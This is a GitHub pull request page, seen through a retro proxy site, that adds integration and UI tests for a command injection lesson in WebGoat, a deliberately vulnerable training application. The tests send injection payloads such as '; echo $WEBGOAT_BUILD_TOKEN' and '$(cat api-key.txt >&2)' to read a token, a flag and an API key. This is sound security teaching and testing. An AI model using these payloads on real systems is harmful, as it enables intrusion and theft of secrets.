GV

GeezerVison

The World Wide Web, restored to 800 pixels of glory.

Home|About|Gaming cabinet|Archives|How it works|Starter sites

On this site

  • Sign in
  • ActionsCI/CD and automation
  • CodespacesCloud development environments
  • All Features
  • Documentation
  • Training
  • Certifications
  • Build with Copilot
  • Customize Copilot
  • Integrations
  • Trending repos
  • GitHub Sponsors
  • Developer articles
  • Enterprises

This view

  • Original page
  • New address

GeezerVison is showing github.com — Command injection lesson by nbaars · Pull Request #2257 · WebGoat/WebGoat

Command injection lesson #2257

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
nbaars merged 12 commits into main from nbaars/command-injection
Oct 6, 2026

Uh oh!

There was an error while loading. Please reload this page.

Merged

Command injection lesson #2257

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
12 commits
Select commit Hold shift + click to select a range
18fd477
WIP
nbaars Oct 14, 2025
0e0e057
WIP
nbaars Oct 15, 2025
e8aa92d
WIP
nbaars Oct 15, 2025
d633182
finish
nbaars Oct 29, 2025
27a7400
clean up
nbaars Oct 29, 2025
50cce60
formatting
nbaars Nov 2, 2025
50d33af
fix test
nbaars Nov 13, 2025
fb2aaae
feat(command-injection): harden executable lesson
nbaars Sep 23, 2026
cd341a0
fix(command-injection): parse Windows API key output
nbaars Sep 24, 2026
4d76bb9
fix: broken CI test
nbaars Oct 6, 2026
4262d6c
test(command-injection): match named token in integration test
nbaars Oct 6, 2026
e9744b5
docs(command-injection): clarify lesson headings and safety status
nbaars Oct 6, 2026
File filter
Filter by extension

Clear filters
Conversations
Failed to load comments.
Loading

Uh oh!

There was an error while loading. Please reload this page.

Jump to
Jump to file
Failed to load files.
Loading

Uh oh!

There was an error while loading. Please reload this page.

Diff view
Diff view

There are no files selected for viewing

239 changes: 239 additions & 0 deletions 239 src/it/java/org/owasp/webgoat/integration/CommandInjectionLessonIntegrationTest.java
Show comments
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,239 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;

import static io.restassured.RestAssured.given;
import static org.hamcrest.CoreMatchers.is;
import static org.hamcrest.MatcherAssert.assertThat;

import io.restassured.path.json.JsonPath;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.junit.jupiter.api.Test;

public class CommandInjectionLessonIntegrationTest extends IntegrationTest {

private static final Pattern API_KEY_PATTERN = Pattern.compile("API_KEY=[^\\s]+");

@Test
void solveCommandInjectionLesson() {
startLesson("CommandInjection", true);

acknowledgeSafetyGate();

solveTask1();

var leakedToken = leakTask2Token();
submitTask2Token(leakedToken);

var flag = captureTask3Flag();
submitTask3Flag(flag);

var apiKey = captureTask4ApiKey();
submitTask4Key(apiKey);

configureTask5Remediation();

checkResults("CommandInjection");
}

private void acknowledgeSafetyGate() {
given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("CommandInjection/safety/status"))
.then()
.statusCode(200)
.body("commandExecutionUnlocked", is(false));

assertThat(
given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("ack", "I understand commands will execute")
.post(webGoatUrlConfig.url("CommandInjection/safety"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
is(true));

given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("CommandInjection/safety/status"))
.then()
.statusCode(200)
.body("commandExecutionUnlocked", is(true));
}

private void solveTask1() {
var isWindows = isWindowsHost();
var expectedCommand =
(isWindows ? "cmd.exe /c ping -n 1 " : "/bin/sh -c ping -c 1 ") + "localhost";

assertThat(
given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("host", "localhost")
.formParam("custom", "")
.formParam("observed", expectedCommand)
.post(webGoatUrlConfig.url("CommandInjection/task1/run"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
is(true));
}

private String leakTask2Token() {
String output =
given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("base", "")
.formParam("payload", payloadForCurrentOs())
.post(webGoatUrlConfig.url("CommandInjection/task2/run"))
.then()
.statusCode(200)
.extract()
.path("output");

var matcher =
Pattern.compile(
"WEBGOAT_BUILD_TOKEN=([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})")
.matcher(output);
if (!matcher.find()) {
throw new IllegalStateException("Token not present in Task 2 output: " + output);
}
return matcher.group(1);
}

private void submitTask2Token(String token) {
assertThat(
given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("base", "")
.formParam("payload", payloadForCurrentOs())
.formParam("token", token)
.post(webGoatUrlConfig.url("CommandInjection/task2/run"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
is(true));
}

private String captureTask3Flag() {
String payload =
isWindowsHost()
? "luna images\\*.txt & type flag.txt & rem"
: "luna images/*; cat flag.txt; #";
var response =
given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("title", payload)
.post(webGoatUrlConfig.url("CommandInjection/task3/search"))
.then()
.statusCode(200)
.extract()
.jsonPath();

var console = response.getString("console");
var start = console.indexOf("flag{");
var end = console.indexOf("}", start);
return console.substring(start, end + 1);
}

private void submitTask3Flag(String flag) {
assertThat(
given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("flag", flag)
.post(webGoatUrlConfig.url("CommandInjection/task3/flag"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
is(true));
}

private String captureTask4ApiKey() {
String payload =
isWindowsHost()
? "luna images\\*.txt & type api-key.txt & rem"
: "$(cat api-key.txt >&2)";
JsonPath response =
given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("title", payload)
.post(webGoatUrlConfig.url("CommandInjection/task4/search"))
.then()
.statusCode(200)
.extract()
.jsonPath();

String console = response.getString("console");
Matcher matcher = API_KEY_PATTERN.matcher(console);
if (!matcher.find()) {
throw new IllegalStateException("API key not present in Task 4 output");
}
return matcher.group();
}

private void submitTask4Key(String apiKey) {
assertThat(
given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("apikey", apiKey)
.post(webGoatUrlConfig.url("CommandInjection/task4/key"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
is(true));
}

private void configureTask5Remediation() {
assertThat(
given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParam("mode", "ALLOWLIST_ONLY")
.formParam("allowlist", "true")
.formParam("sanitiser", "true")
.post(webGoatUrlConfig.url("CommandInjection/task5/evaluate"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
is(true));
}

private boolean isWindowsHost() {
return System.getProperty("os.name", "").toLowerCase().contains("win");
}

private String payloadForCurrentOs() {
return isWindowsHost() ? "&& echo %WEBGOAT_BUILD_TOKEN%" : "; echo $WEBGOAT_BUILD_TOKEN";
}
}
65 changes: 65 additions & 0 deletions 65 src/it/java/org/owasp/webgoat/playwright/webgoat/lessons/CommandInjectionLessonUITest.java
Show comments
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.lessons;

import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;

import com.microsoft.playwright.Browser;
import java.util.Locale;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.lessons.LessonName;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.lessons.CommandInjectionLessonPage;

public class CommandInjectionLessonUITest extends PlaywrightTest {

private CommandInjectionLessonPage lessonPage;

@BeforeEach
void navigateToLesson(Browser browser) {
var lessonName = new LessonName("CommandInjection");
var page = Authentication.sylvester(browser);

this.lessonPage = new CommandInjectionLessonPage(page);
lessonPage.resetLesson(lessonName);
lessonPage.open(lessonName);
}

@Test
@DisplayName("Complete the Command Injection lesson via the UI")
void shouldSolveCommandInjectionLesson() {
// Safety acknowledgement
lessonPage.navigateTo(3);
lessonPage.acknowledgeSafety();

lessonPage.navigateTo(4);
boolean isWindows = System.getProperty("os.name", "").toLowerCase(Locale.US).contains("win");
String expectedCommand =
isWindows ? "cmd.exe /c ping -n 1 localhost" : "/bin/sh -c ping -c 1 localhost";
lessonPage.solveTask1(expectedCommand);
assertThat(lessonPage.task1Output()).containsText(expectedCommand);

lessonPage.navigateTo(5);
lessonPage.solveTask2(isWindows);

lessonPage.navigateTo(6);
lessonPage.solveTask3(isWindows);
assertThat(lessonPage.task3FlagFeedback()).containsText("Flag captured");

lessonPage.navigateTo(7);
lessonPage.solveTask4(isWindows);
assertThat(lessonPage.task4KeyFeedback()).containsText("Great!");

lessonPage.navigateTo(8);
lessonPage.configureTask5();
assertThat(lessonPage.task5Feedback()).containsText("Configuration hardened");

// Best practices page loads
lessonPage.navigateTo(9);
}
}
Loading
Oops, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

Loading
Oops, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

Add this suggestion to a batch that can be applied as a single commit. This suggestion is invalid because no changes were made to the code. Suggestions cannot be applied while the pull request is closed. Suggestions cannot be applied while viewing a subset of changes. Only one suggestion per line can be applied in a batch. Add this suggestion to a batch that can be applied as a single commit. Applying suggestions on deleted lines is not supported. You must change the existing code in this line in order to create a valid suggestion. Outdated suggestions cannot be applied. This suggestion has been applied or marked resolved. Suggestions cannot be applied from pending reviews. Suggestions cannot be applied on multi-line comments. Suggestions cannot be applied while the pull request is queued to merge. Suggestion cannot be applied right now. Please check back later.
You are visitor 01402792 — GeezerVison does not store the pages you look up.
Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required.